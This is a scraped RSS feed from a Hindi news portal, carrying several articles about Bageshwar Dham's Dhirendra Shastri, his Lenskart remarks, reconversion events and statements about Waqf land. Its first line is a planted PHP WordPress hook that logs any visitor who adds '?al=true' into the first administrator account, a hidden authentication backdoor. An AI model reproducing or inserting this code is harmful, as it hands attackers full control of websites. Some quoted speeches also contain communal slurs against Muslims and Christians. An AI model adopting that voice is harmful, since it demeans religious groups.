// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Bageshwar – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 22 Apr 2026 14:26:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 बागेश्वर बाबा का लेंसकार्ट पर बयान: नक्कटा, तू अपनी कंपनी लाहौर में खोल ले, बेटा गड़बड़ हो गए हो तुम https://pratyushaashakinayikiran.com/?p=213846 Wed, 22 Apr 2026 14:26:00 +0000 https://pratyushaashakinayikiran.com/?p=213846 छतरपुर 

प्रयागराज (उत्तर प्रदेश) में बागेश्वर धाम के पीठाधीश पंडित धीरेंद्र शास्त्री ने हनुमंत कथा के दौरान लेंसकार्ट कंपनी को चेतावनी दी। कथा 21 से 23 अप्रैल तक चल रही है।पहले दिन न्होंने कंपनी के कथित 'ड्रेस कोड' पर यह बयान दिया। विवाद कंपनी द्वारा तिलक, सिंदूर और मंगलसूत्र जैसे धार्मिक प्रतीकों पर पाबंदी के दावे से जुड़ा है।

धीरेंद्र शास्त्री ने कहा कि "एक कंपनी है उसका नाम लेंसकार्ट है, उसने बोला है अपनी कंपनी के वर्करों को कि हमारे यहां कोई तिलक लगा के नहीं आ सकता, मंगलसूत्र पहन के नहीं आ सकता, सिंदूर लगा के नहीं आ सकता…।

धीरेंद्र शास्त्री ने आगे कहा- ठटरी के बरे! नक्कटा! तू अपनी कंपनी लाहौर में खोल ले, भारत में काहे को मर रहा है? आगि के लगे! तेरो कक्का को भारत है का? हां! हमारे तो बाप का भारत है। हां! जिनको तिलक से, चंदन से, वंदन से, राम से, श्याम से, हनुमान से, बाबा बागेश्वर से दिक्कत हो, वो पतली गली लाहौर खिसक लें।
धीरेंद्र शास्त्री ने कहा- इसीलिए हम एक बात हिन्दुओं से कहे, कथा शुरू करने के पहले। आज उन्होंने तुम्हारे मंगलसूत्र पर उंगली उठाई, तिलक पर उंगली उठाई, कल तुम्हारी बिरादरी पर उंगली उठाएंगे, तुम्हारे सनातन पर उंगली उठाएंगे, तुम्हारे बच्चों पर उंगली उठाएंगे।

यदि हम एकजुट नहीं होंगे, तो वो कल हमारी गीता-रामायण पर भी उंगलियां उठाएंगे। इसलिए हम सबको संगम से एक बात सीखनी है। जैसे संगम में तीन नदियां मिलकर महासंगम बनता है, ऐसे ही हम सब जातियों को छोड़कर हिन्दू होकर एकता का परिचय दें।"

तिलक-कलावा पर रोक, हिजाब-पगड़ी को अनुमति
मामला सोशल मीडिया पर वायरल हुए एक कथित पॉलिसी डॉक्यूमेंट से शुरू हुआ। इसमें दावा किया गया कि कर्मचारियों को बिंदी, तिलक और कलावा पहनने से रोका गया है, जबकि हिजाब और पगड़ी को कुछ शर्तों के साथ अनुमति दी गई है। इसी कथित भेदभाव को लेकर विवाद बढ़ा।

एक्टिविस्ट शेफाली वैद्य ने X (ट्विटर) पर स्क्रीनशॉट साझा कर कंपनी से सवाल किया कि जब हिजाब की अनुमति है, तो बिंदी और कलावा पर रोक क्यों। इसके बाद यह मुद्दा वायरल हुआ और कंपनी को लेकर तीखी प्रतिक्रियाएं सामने आईं। लेंसकार्ट शोरूम में कर्मचारियों को तिलक लगाया और मंत्रोच्चार के साथ कलावा बांधा।

कंपनी की सफाई- सभी धर्मों का सम्मान करते हैं
विवाद बढ़ने के बाद कंपनी के CEO पीयूष बंसल ने कहा कि लेंसकार्ट सभी धर्मों का सम्मान करता है। कर्मचारियों को अपने धार्मिक प्रतीक पहनने की पूरी आजादी है। हालांकि, विरोध कर रहे संगठन इस सफाई से संतुष्ट नहीं हैं। आंदोलन जारी रखने के संकेत दिए हैं।

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रात 3:30 बजे बागेश्वर महाराज ने अन्नपूर्णा मंडप में खुद संभाली भट्टी, प्रसादी की पूरियां तैयार https://pratyushaashakinayikiran.com/?p=197540 Fri, 13 Feb 2026 10:39:00 +0000 https://pratyushaashakinayikiran.com/?p=197540 छतरपुर

बुंदेलखंड के प्रसिद्ध आस्था केंद्र बागेश्वर धाम में आयोजित होने जा रहे सामूहिक कन्या विवाह महोत्सव की तैयारियां अंतिम चरण में हैं। 13 और 14 फरवरी को हल्दी एवं मेहंदी की रस्में संपन्न होंगी, जबकि 15 फरवरी को 300 बेटियों की बारात धाम पहुंचेगी। पिछले एक महीने से दिन-रात चल रही तैयारियों के बीच 12-13 फरवरी की आधी रात को अचानक निरीक्षण कर व्यवस्थाओं की हकीकत परखी गई। रात 3:30 बजे अन्नपूर्णा मंडप में महाराज पहुंचे। 

मध्य रात्रि के दरमियान बागेश्वर महाराज मोटरसाइकिल से अचानक अन्नपूर्णा मंडप पहुंचे। उस समय सैकड़ों महिला-पुरुष कार्यकर्ता और सेवादार आगामी मंडप के दिवस पर आने वाले लाखों श्रद्धालुओं के लिए प्रसादी और भंडारे की तैयारी में जुटे थे। महाराज के अचानक पहुंचने से वहां मौजूद सेवादार, कार्यकर्ता आश्चर्यचकित रह गए। इस दौरान महाराज श्री ने स्वयं भट्टी पर बैठकर पूड़ियां तलीं और भंडार गृह, प्रसाद वितरण, प्रसाद पाने आदि व्यवस्था को पैदल घूमकर देखा। 

तदोपरांत अन्नपूर्णा मंडप के बाद महाराज सीधे उस मुख्य विवाह मंडप में पहुंचे, जहां 300 कन्याओं का पाणिग्रहण संस्कार होना है। मंडप की साज-सज्जा, बैठने की व्यवस्था, आवागमन मार्ग और सुरक्षा इंतजाम, सज सज्जा सहित आदि जगहों का बारीकी से अवलोकन किया गया। वहीं बगल में लगे 57 मायने वाले बेटियों के उपहार सामग्री कक्ष प्रांगण में जाकर विवाह हेतु तैयार किए गए सामान की जानकारी ली और वीडियो के माध्यम से व्यवस्थाओं को साझा किया। बागेश्वर महाराज हर वर्ष रात्रि निरीक्षण करते हैं।

धाम में हर वर्ष आयोजित होने वाले सामूहिक कन्या विवाह से पूर्व एक-दो दिन पहले बागेश्वर महाराज स्वयं रात्रि निरीक्षण करते हैं। उद्देश्य यह रहता है कि आने वाले श्रद्धालुओं और बारातियों को किसी प्रकार की असुविधा न हो चाहे वह प्रसाद, आवास, पेयजल या आवागमन से जुड़ी हो। निरीक्षण के दौरान समिति को आवश्यक निर्देश भी दिए गए, ताकि कार्यक्रम सुचारु और व्यवस्थित ढंग से संपन्न हो सके। समिति द्वारा महाराज के निर्देशों के अनुरूप व्यवस्थाओं को अंतिम रूप दिया जा रहा है। 300 जरूरतमंद बेटियों के विवाह को लेकर पूरे धाम में सेवा और समर्पण का वातावरण है। हल्दी, मेहंदी और विवाह समारोह के साथ यह आयोजन आस्था, सामाजिक समरसता और सेवा भावना का अद्भुत उदाहरण बन रहा है।

कार्यक्रम में शामिल होंगे मुख्यमंत्री मोहन यादव
हल्दी, मेहंदी कार्यक्रम के दौरान प्रदेश के मुख्यमंत्री डॉ. मोहन यादव भी शुक्रवार को दोपहर 3 बजे बागेश्वर धाम आएंगे। धाम के सेवादार नितेंद्र चौबे ने बताया कि दोपहर 3 बजे मुख्यमंत्री के आने की सूचना है। अधिकृत जानकारी के अनुसार मुख्यमंत्री दोपहर 3.45 पर हेलीकॉप्टर से बागेश्वर धाम पहुंचेंगे और बाद में खजुराहो एयरपोर्ट से शाम 5.20 बजे विमान से भोपाल रवाना हो जाएंगे।

शस्त्र और शास्त्र की शिक्षा देने के उद्देश्य से पूज्य संतों की उपस्थिति में शुक्रवार को गुरुकुलम का शुभारंभ हो रहा है। वैदिक शिक्षा के साथ यहां पढऩे वाले विद्यार्थियों को आधुनिक शिक्षा से भी अवगत कराया जाएगा। गुरुकुलम का शुभारंभ करने अंतर्राष्ट्रीय कथा वाचक रमेश भाई ओझा एवं प्रदीप मिश्रा सीहोर वाले बागेश्वर धाम आ रहे हैं। दोनों प्रख्यात संत पहली बार बागेश्वर धाम आ रहे हैं। गुरुकुलम की सारी तैयारियां पूरी हो चुकी है। गौशाला में इसकी शुरुआत होगी। पूरी तरह से प्राकृतिक परिवेश में 31 बच्चों को गुरुकुल परंपरा के तहत शिक्षा दी जाएगी। बनारस के प्रकांड विद्वान आचार्य द्वारा गुरुकुलम के बच्चों को शिक्षित किया जाएगा। 

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बागेश्वर सरकार ने 20 साल बाद महाराष्ट्र में कराई आधा दर्जन लोगों की घर वापसी, झांसे में अपनाया था ईसाई धर्म https://pratyushaashakinayikiran.com/?p=193178 Sat, 10 Jan 2026 13:35:00 +0000 https://pratyushaashakinayikiran.com/?p=193178  गोंदिया 

महाराष्ट्र के गोंदिया जिले में बागेश्वर महाराज के कथा मंच से आज आधे दर्जन से अधिक हिंदुओं ने सनातन धर्म में पुनः वापसी की। इस वापसी में गोंदिया जिले के निवासी शिवदास, शिमला, कन्हाभगत, संजय भगत, कुंवर अक्षय सहित आधे दर्जन से अधिक सदस्यों ने सनातन धर्म में वापसी की। ये सभी ग्राम छोटी, पोस्ट तुगुड़ी, जिला गोंदिया के निवासी हैं।
बच्चे की आँखों के स्वास्थ्य सुधार की आशा के चलते अपनाया था ईसाई धर्म

जानकारी के मुताबिक बीस वर्ष पूर्व साल 2006 में बच्चे की आँखों के स्वास्थ्य में सुधार की आशा में उन्होंने धर्म परिवर्तन कर लिया था। आज सभी सदस्यों ने वापसी कर ली है। इस मौके पर देश के धर्मांतरित हिंदुओं से बागेश्वर महाराज की अपील है कि जिनके पूर्वज रामलाल, श्यामलाल थे, वे पुनः सनातन धर्म में लौट आएं। हमारे पुत्र संजय भगत का जन्म सन 2006 में हुआ था। उसी समय से उसे कम दिखाई देता था।

ईसाई धर्म के अनुयायियों ने यह प्रलोभन दिया था कि यदि हम उनके धर्म में सम्मिलित हो जाएं, तो हमारे बच्चे को दिखाई देने लगेगा और वह स्वस्थ हो जाएगा। इसी प्रलोभन में हमने परिवार सहित ईसाई धर्म अपना लिया था, लेकिन हमें फिर भी वहां संतोष प्राप्त नहीं हुआ। हमारे बच्चे को स्वस्थ करने तथा उसे दृष्टि प्रदान करने के संबंध में जो हमें उस समय आश्वासन दिया गया था, वह पूरा नहीं हुआ। हम अपनी त्रुटि स्वीकार करते हैं। आज हमने सपरिवार सनातन धर्म में पुन: वापसी की है।

बागेश्वर महाराज जी की कथा में उपस्थित होकर, हमें सम्मानपूर्वक घर वापसी का अवसर प्राप्त हुआ। विगत एक वर्ष से हम बागेश्वर महाराज को टेलीविजन के माध्यम से देखते आ रहे थे, परंतु घर वापसी हेतु आवश्यक सहयोग के अभाव में हम यह कदम नहीं उठा पा रहे थे। आज बागेश्वर महाराज के मंच से हमारी घर वापसी संपन्न हुई, जिससे हमें अत्यंत प्रसन्नता का अनुभव हो रहा है।

हम यह सुनिश्चित करते हैं कि भविष्य में हम किसी अन्य धर्म को नहीं अपनाएंगे और सदैव अपने सनातन धर्म के प्रति निष्ठावान रहेंगे। सभी घर वापसी करने वाले सदस्यों को महाराज श्री की व्यास पीठ के बगल में खड़े होकर त्रिकुंड चंदन लगाया गया, मंत्र पढ़े गए और उनके गले में सनातन धर्म के बागेश्वर बालाजी की पट्टिका डाली।

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बागेश्वर सरकार पर विवादित टिप्पणी, प्रोफेसर पर FIR – धार्मिक भावना भड़काने का आरोप https://pratyushaashakinayikiran.com/?p=175472 Mon, 04 Aug 2025 09:46:00 +0000 https://pratyushaashakinayikiran.com/?p=175472 छतरपुर 

बागेश्वर धाम के पीठाधीश्वर धीरेंद्र कृष्ण शास्त्री को सोशल मीडिया प्लेटफॉर्म 'X' पर महिला तस्कर कहने वाले लखनऊ विश्वविद्यालय के प्रोफेसर रविकांत के खिलाफ छतरपुर के बमीठा थाना में FIR दर्ज की गई है।   सोशल मीडिया प्लेटफॉर्म 'X' (पूर्व ट्विटर) पर बागेश्वर धाम के पीठाधीश्वर धीरेंद्र कृष्ण शास्त्री को लेकर आपत्तिजनक टिप्पणी करने पर लखनऊ विश्वविद्यालय के प्रोफेसर रविकांत के खिलाफ छतरपुर जिले के बमीठा थाना में प्राथमिकी दर्ज की गई है।

मामला तब शुरू हुआ जब पुलिस ने छतरपुर में एक एम्बुलेंस को रोका, जिसमें कुछ महिलाएं सवार थीं। पूछताछ में सामने आया कि ये महिलाएं अपनी असली पहचान छिपाकर बागेश्वर धाम में रह रही थीं और उन पर अनैतिक गतिविधियों में शामिल होने का संदेह जताया गया। इस घटना से जुड़े वीडियो को प्रोफेसर रविकांत ने सोशल मीडिया पर साझा करते हुए एक विवादास्पद पोस्ट किया। उन्होंने लिखा, "नॉन बायोलॉजिकल प्रधानमंत्री नरेंद्र मोदी द्वारा घोषित छोटा भाई धीरेन्द्र शास्त्री धर्म की आड़ में महिला तस्करी कर रहा है!" इस टिप्पणी में उन्होंने धीरेंद्र कृष्ण शास्त्री को "महिला तस्कर" कहा, जिससे विवाद खड़ा हो गया।

प्रोफेसर की इस पोस्ट के विरोध में बागेश्वर धाम सेवा समिति के सदस्य धीरेंद्र कुमार गौर ने बमीठा थाने में शिकायत दर्ज कराई। शिकायत में कहा गया है कि प्रोफेसर रविकांत की टिप्पणी से हिंदू धर्म के अनुयायियों की धार्मिक भावनाएं आहत हुई हैं और धार्मिक सौहार्द बिगड़ा है। इसी आधार पर उनके विरुद्ध भारतीय न्याय संहिता की धारा 353(2) बीएनएस के तहत मामला दर्ज किया गया है। फिलहाल पुलिस ने मामले की जांच शुरू कर दी है और सोशल मीडिया पोस्ट को साक्ष्य के रूप में संकलित किया जा रहा है। 

विदेश यात्रा से लौटे बागेश्वर महाराज

 बागेश्वर धाम के पीठाधीश्वर बागेश्वर सरकार धीरेंद्र कृष्ण शास्त्री अपनी 20 दिवसीय अंतरराष्ट्रीय यात्रा से लौटकर आज सुबह बागेश्वर धाम पहुंचे। उनकी इस धार्मिक यात्रा में लंदन, ओमान और दुबई में कथा और आशीर्वचन कार्यक्रम आयोजित किए गए थे। बागेश्वर धाम प्रशासन के अनुसार, बागेश्वर महाराज 4 अगस्त से 11 अगस्त तक धाम परिसर में दिव्य दरबार का आयोजन करेंगे, जिसमें बड़ी संख्या में देश-विदेश से श्रद्धालु शामिल होंगे। बागेश्वर महाराज ने अपने आधिकारिक सोशल मीडिया प्लेटफॉर्म 'X' और अन्य माध्यमों से एक वीडियो साझा कर इस दिव्य दरबार की जानकारी पहले ही अपने अनुयायियों को दी थी। दिव्य दरबार के दौरान श्रद्धालुओं को आशीर्वचन, समाधान और परामर्श प्राप्त करने का अवसर मिलेगा। धाम प्रशासन ने आयोजन की तैयारियां तेज कर दी हैं और श्रद्धालुओं की सुविधा हेतु विशेष व्यवस्थाएं की जा रही हैं। आयोजकों का अनुमान है कि प्रतिदिन हजारों श्रद्धालु बागेश्वर धाम पहुंच सकते हैं।

 

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बागेश्वर पीठाधीश्वर का मुस्लिम जमात के अध्यक्ष को करारा जवाब, कुंभ की जमीन किसी के अब्बा की नहीं हमारे बब्बा की है… https://pratyushaashakinayikiran.com/?p=121272 Tue, 14 Jan 2025 20:07:00 +0000 https://pratyushaashakinayikiran.com/?p=121272 छतरपुर
बाबा बागेश्वर धाम के पीठाधीश्वर पंडित धीरेंद्र शास्त्री ओडिशा के जगन्नाथ पुरी में हैं। यहां वह पांच दिवसीय धार्मिक कार्यक्रम में शामिल होने पहुंचे हैं। पंडित धीरेंद्र शास्त्री पुरी में एक श्रीमद्भागवत कथा में शामिल हुए। इस दौरान बागेश्वर सरकार ने मौलाना शहाबुद्दीन रजवी बरेलवी को जवाब देते हुए कहा कि कुंभ की जमीन किसी के अब्बा की नहीं बल्कि हमारे बब्बा की है। कुछ दिन पहले कुंभ मेले की तैयारियों के दौरान इंडिया मुस्लिम जमात के अध्यक्ष मौलाना शहाबुद्दीन रजवी बरेलवी ने कहा था कि महाकुंभ के मेले में जमीन के जिस हिस्से पर तंबू अखाड़े लगाए हैं, मेला लगा रहे हैं वो वफ्फ की जमीन है और वहां के मुसलमानों की जमीन है।

मौलाना शहाबुद्दीन रजवी बरेलवी के बयान पर जवाब देते हुए पंडित धीरेंद्र शास्त्री ने अब्बा और बब्बा वाला बयान दिया। बागेश्वर पीठाधीश्वर जगन्नाथ पुरी में एक भागवत कथा में शामिल होने पहुंचे थे, जहां उन्होंने अपने आशीर्वचन के दौरान बिना किसी का नाम लिए कहा कि सोचो अगर तुम उनमें पैदा हुए होते तो क्या होता? चाचा की बिटिया से शादी कर लेते हैं। उनके में एक ही ईमान है कि कोई ईमान नहीं है।

मौलाना शहाबुद्दीन रजवी बरेलवी को दिया जवाब

पंडित धीरेंद्र शास्त्री ने कहा "एक भाई साहब बयान दे रहे थे, यह जो कुंभ की जमीन है, यह वक्त की जमीन है। हमें फोन आया कि वह कह रहा है वक्फ बोर्ड की जमीन है तो हमने कहा उनसे कह दो कि ये तुम्हारे अब्बा की जमीन नहीं है, यह हमारे बब्बा की है। क्योंकि इस्लाम धर्म का प्रारंभ भारत से नहीं हुआ, अरब से हुआ और भारत गोपाल की भूमि है। यहां तो सब गोविंद जी का है। हमने तो दी है जमीन तुम्हारे पास जो जमीन है, वह भी हमने दी है। यह हमारी उदारता है कि हमने तुम्हें दी है। तुम्हारे पास कुछ भी नहीं है, तुम्हारे अलग देश हैं, जो बंटे हुए हैं।

सनातन धर्म को लेकर क्या बोले

बाबा बागेश्वर धाम के पीठाधीश्वर पंडित धीरेंद्र शास्त्री सनातन धर्म की खासियत बताते हुए कहा "सनातन धर्म जैसा कोई दूसरा धर्म नहीं है। वसुदेव कुटुंबकम कि परंपरा कहीं और नहीं है। सनातन एकमात्र ऐसा धर्म है, जो पूरी दुनिया को अपना परिवार मानकर जीता है। बाकी दुनिया के लोग व्यापार की दृष्टि से जीते हैं, हम सनातन धर्म के लोग परिवार की दृष्टि से जीते हैं।"

वक्फ बोर्ड की बताई थी कुंभ की जमीन
कुछ दिन पहले कुंभ की तैयारियों के दौरान इंडिया मुस्लिम जमात के अध्यक्ष मौलाना शहाबुद्दीन रजवी बरवेली ने कहा था कि महाकुंभ के मेले में जिस तरीके से नागा संन्यासियों ने, अखाड़े परिषद, स्वामी बाबाओं ने मुसलमानों के प्रवेश पर प्रतिबंध लगाया हैं उस प्रतिबंध पर अगर देखें तो खुद बो जो जिस जमीन के हिस्से पर बो तंबू, अखाड़े लगाए हैं, मेला लगा रहे हैं वो वक्फ की जमीन है. वहां के मुसलमानों की जमीन है. जिस बयान पर आज धीरेंद्र शास्त्री ने प्रतिक्रिया दी.

इंटेलिजेंस हिन्दू बनना है: धीरेंद्र शास्त्री
धीरेंद्र शास्त्री ने आगे कहा कि सनातन धर्म जैसा कोई धर्म नहीं है जो बासुदेव कुटुंबकम एक मात्र ऐसा धर्म है जो पूरी दुनिया को परिवार मानकर जीता है.  इस दौरान मंच से बागेश्वर सरकार ने हिंदुओं से कहा कि मुसलमान को कुरान का ज्ञान है. ईसाइयों को बाइबल का ज्ञान है लेकिन हिंदुओं के टूटने और बंटने का एक ही कारण है कि हिन्दुओं के बच्चों को न गीता का ज्ञान है न रामायण का ज्ञान है. अब हमें इंटेलिजेंस हिन्दू बनना है.

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